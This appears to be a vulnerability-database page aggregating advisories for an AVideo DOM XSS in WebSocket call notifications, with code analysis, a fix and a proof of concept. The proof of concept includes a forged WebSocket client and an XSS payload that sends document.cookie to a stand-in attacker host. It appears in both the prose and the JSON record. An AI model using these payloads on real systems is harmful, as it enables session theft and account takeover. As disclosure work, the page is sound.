Vulnerability-Lookup

CVE-2026-34716 (GCVE-0-2026-34716)

Vulnerability from cvelistv5 – Published: 2026-03-31 20:49 – Updated: 2026-04-03 16:31

Title

AVideo: DOM XSS via Unsanitized Display Name in WebSocket Call Notification

Summary

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket. At time of publication, there are no publicly available patches.

Severity

6.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-34716

Vulnerability from fkie_nvd - Published: 2026-03-31 21:16 - Updated: 2026-06-17 10:39

Severity

6.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
6.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "affected": [
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      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
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    }
  ],
  "id": "CVE-2026-34716",
  "lastModified": "2026-06-17T10:39:29.823",
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GHSA-W4HP-W536-JG64

Vulnerability from github – Published: 2026-04-01 20:54 – Updated: 2026-04-01 20:54

Summary

AVideo: DOM XSS via Unsanitized Display Name in WebSocket Call Notification

Details

Summary

The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.

Details

When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:

// plugin/YPTSocket/caller.js:73
userIdentification = json.from_identification;

This value is passed directly to the jQuery Toast Plugin as the heading:

// plugin/YPTSocket/caller.js:89
heading: userIdentification,

Inside the jQuery Toast Plugin, the heading is rendered as raw HTML:

// node_modules/jquery-toast-plugin/src/jquery.toast.js:60
// Constructs: '<h2>' + heading + '</h2>'
// Then inserts via .html()

jQuery's .html() method parses the string as HTML and executes any script-bearing elements (such as <img onerror>, <svg onload>, etc.).

There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted onclick attribute:

// plugin/YPTSocket/caller.js:121-123
imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>';
if (isJsonReceivingCall(json)) {
    imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';

JSON.stringify(json) is placed inside a single-quoted onclick attribute. If any field in json contains a single quote, it breaks the attribute boundary and allows attribute injection.

Proof of Concept

Important note on the attack vector: User::setName() at objects/user.php:2069 uses strip_tags(), so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the from_identification field. A malicious WebSocket client can send any from_identification value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.

Step 1: Connect a malicious WebSocket client and send a forged call message

The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the from_identification field:

// Malicious WebSocket client - bypasses server-side strip_tags() sanitization
const ws = new WebSocket('wss://your-avideo-instance.com:8888');

ws.onopen = function() {
    // Send a forged call message with HTML in from_identification
    const payload = {
        msg: 'call',
        from_users_id: 1,
        to_users_id: VICTIM_USER_ID,
        from_identification: '<img src=x onerror=alert(document.cookie)>',
        resourceURL: 'https://your-avideo-instance.com/meet/123'
    };
    ws.send(JSON.stringify(payload));
    console.log('Forged call message sent');
};

Step 2: When the victim receives the call notification, the toast renders from_identification as HTML via jQuery's .html(). The <img> tag triggers the onerror handler, executing JavaScript in the victim's browser context.

More advanced payload for credential exfiltration:

// Credential exfiltration via forged WebSocket call
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
    ws.send(JSON.stringify({
        msg: 'call',
        from_users_id: 1,
        to_users_id: VICTIM_USER_ID,
        from_identification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">',
        resourceURL: 'https://your-avideo-instance.com/meet/123'
    }));
};

Reproduction steps:

Identify the WebSocket server address for the target AVideo instance (typically port 8888).
Connect a custom WebSocket client to the server.
Send a call message with from_identification set to <img src=x onerror=alert(document.cookie)>.
Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).
Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.

Impact

This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.

Consequences include:

Session hijacking: Steal the victim's session cookie and impersonate them.
Account takeover: If the victim is an administrator, the attacker gains full platform control.
Worm propagation: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.
Keylogging and credential theft: Inject persistent scripts that capture keystrokes on the current page.

The attack is zero-click and can target any specific online user.

CWE: CWE-79 (Cross-Site Scripting - DOM-based)

Recommended Fix

HTML-escape the heading value before passing it to $.toast() at plugin/YPTSocket/caller.js:89:

heading: $('<span>').text(userIdentification).html(),

This uses jQuery's .text() to safely encode the user-controlled string, then extracts the escaped HTML via .html().

Found by aisafe.io

Severity

6.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T20:54:51Z",
    "nvd_published_at": "2026-03-31T21:16:31Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe AVideo YPTSocket plugin\u0027s caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller\u0027s display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`\u0027\u003ch2\u003e\u0027 + heading + \u0027\u003c/h2\u003e\u0027`) and inserts it into the DOM via jQuery\u0027s `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user\u0027s browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.\n\n## Details\n\nWhen a call notification arrives via WebSocket, the caller\u0027s identity is extracted from the JSON message:\n\n```javascript\n// plugin/YPTSocket/caller.js:73\nuserIdentification = json.from_identification;\n```\n\nThis value is passed directly to the jQuery Toast Plugin as the heading:\n\n```javascript\n// plugin/YPTSocket/caller.js:89\nheading: userIdentification,\n```\n\nInside the jQuery Toast Plugin, the heading is rendered as raw HTML:\n\n```javascript\n// node_modules/jquery-toast-plugin/src/jquery.toast.js:60\n// Constructs: \u0027\u003ch2\u003e\u0027 + heading + \u0027\u003c/h2\u003e\u0027\n// Then inserts via .html()\n```\n\njQuery\u0027s `.html()` method parses the string as HTML and executes any script-bearing elements (such as `\u003cimg onerror\u003e`, `\u003csvg onload\u003e`, etc.).\n\nThere is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted `onclick` attribute:\n\n```javascript\n// plugin/YPTSocket/caller.js:121-123\nimageAndButton += \u0027\u003cbutton class=\"btn btn-danger btn-circle incomeCallBtn\" onclick=\\\u0027hangUpCall(\u0027 + JSON.stringify(json) + \u0027)\\\u0027\u003e\u003ci class=\"fas fa-phone-slash\"\u003e\u003c/i\u003e\u003c/button\u003e\u0027;\nif (isJsonReceivingCall(json)) {\n    imageAndButton += \u0027\u003cbutton class=\"btn btn-success btn-circle incomeCallBtn\" onclick=\\\u0027acceptCall(\u0027 + JSON.stringify(json) + \u0027)\\\u0027\u003e\u003ci class=\"fas fa-phone\"\u003e\u003c/i\u003e\u003c/button\u003e\u0027;\n```\n\n`JSON.stringify(json)` is placed inside a single-quoted `onclick` attribute. If any field in `json` contains a single quote, it breaks the attribute boundary and allows attribute injection.\n\n## Proof of Concept\n\n**Important note on the attack vector:** `User::setName()` at `objects/user.php:2069` uses `strip_tags()`, so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the `from_identification` field. A malicious WebSocket client can send any `from_identification` value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.\n\n**Step 1: Connect a malicious WebSocket client and send a forged call message**\n\nThe following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the `from_identification` field:\n\n```javascript\n// Malicious WebSocket client - bypasses server-side strip_tags() sanitization\nconst ws = new WebSocket(\u0027wss://your-avideo-instance.com:8888\u0027);\n\nws.onopen = function() {\n    // Send a forged call message with HTML in from_identification\n    const payload = {\n        msg: \u0027call\u0027,\n        from_users_id: 1,\n        to_users_id: VICTIM_USER_ID,\n        from_identification: \u0027\u003cimg src=x onerror=alert(document.cookie)\u003e\u0027,\n        resourceURL: \u0027https://your-avideo-instance.com/meet/123\u0027\n    };\n    ws.send(JSON.stringify(payload));\n    console.log(\u0027Forged call message sent\u0027);\n};\n```\n\n**Step 2:** When the victim receives the call notification, the toast renders `from_identification` as HTML via jQuery\u0027s `.html()`. The `\u003cimg\u003e` tag triggers the `onerror` handler, executing JavaScript in the victim\u0027s browser context.\n\nMore advanced payload for credential exfiltration:\n\n```javascript\n// Credential exfiltration via forged WebSocket call\nconst ws = new WebSocket(\u0027wss://your-avideo-instance.com:8888\u0027);\nws.onopen = function() {\n    ws.send(JSON.stringify({\n        msg: \u0027call\u0027,\n        from_users_id: 1,\n        to_users_id: VICTIM_USER_ID,\n        from_identification: \u0027\u003cimg src=x onerror=\"fetch(\\\u0027https://attacker.example.com/log?\\\u0027+document.cookie)\"\u003e\u0027,\n        resourceURL: \u0027https://your-avideo-instance.com/meet/123\u0027\n    }));\n};\n```\n\nReproduction steps:\n\n1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).\n2. Connect a custom WebSocket client to the server.\n3. Send a call message with `from_identification` set to `\u003cimg src=x onerror=alert(document.cookie)\u003e`.\n4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).\n5. Observe the XSS payload executing in the victim\u0027s browser when the toast notification appears. No victim interaction is required.\n\n## Impact\n\nThis is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.\n\nConsequences include:\n\n- **Session hijacking**: Steal the victim\u0027s session cookie and impersonate them.\n- **Account takeover**: If the victim is an administrator, the attacker gains full platform control.\n- **Worm propagation**: The XSS payload can automatically change the victim\u0027s display name to the same payload and call other online users, creating a self-propagating worm.\n- **Keylogging and credential theft**: Inject persistent scripts that capture keystrokes on the current page.\n\nThe attack is zero-click and can target any specific online user.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - DOM-based)\n\n## Recommended Fix\n\nHTML-escape the heading value before passing it to `$.toast()` at `plugin/YPTSocket/caller.js:89`:\n\n```javascript\nheading: $(\u0027\u003cspan\u003e\u0027).text(userIdentification).html(),\n```\n\nThis uses jQuery\u0027s `.text()` to safely encode the user-controlled string, then extracts the escaped HTML via `.html()`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-w4hp-w536-jg64",
  "modified": "2026-04-01T20:54:51Z",
  "published": "2026-04-01T20:54:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34716"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: DOM XSS via Unsanitized Display Name in WebSocket Call Notification"
}

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Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

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CVE-2026-34716 (GCVE-0-2026-34716)

FKIE_CVE-2026-34716

GHSA-W4HP-W536-JG64

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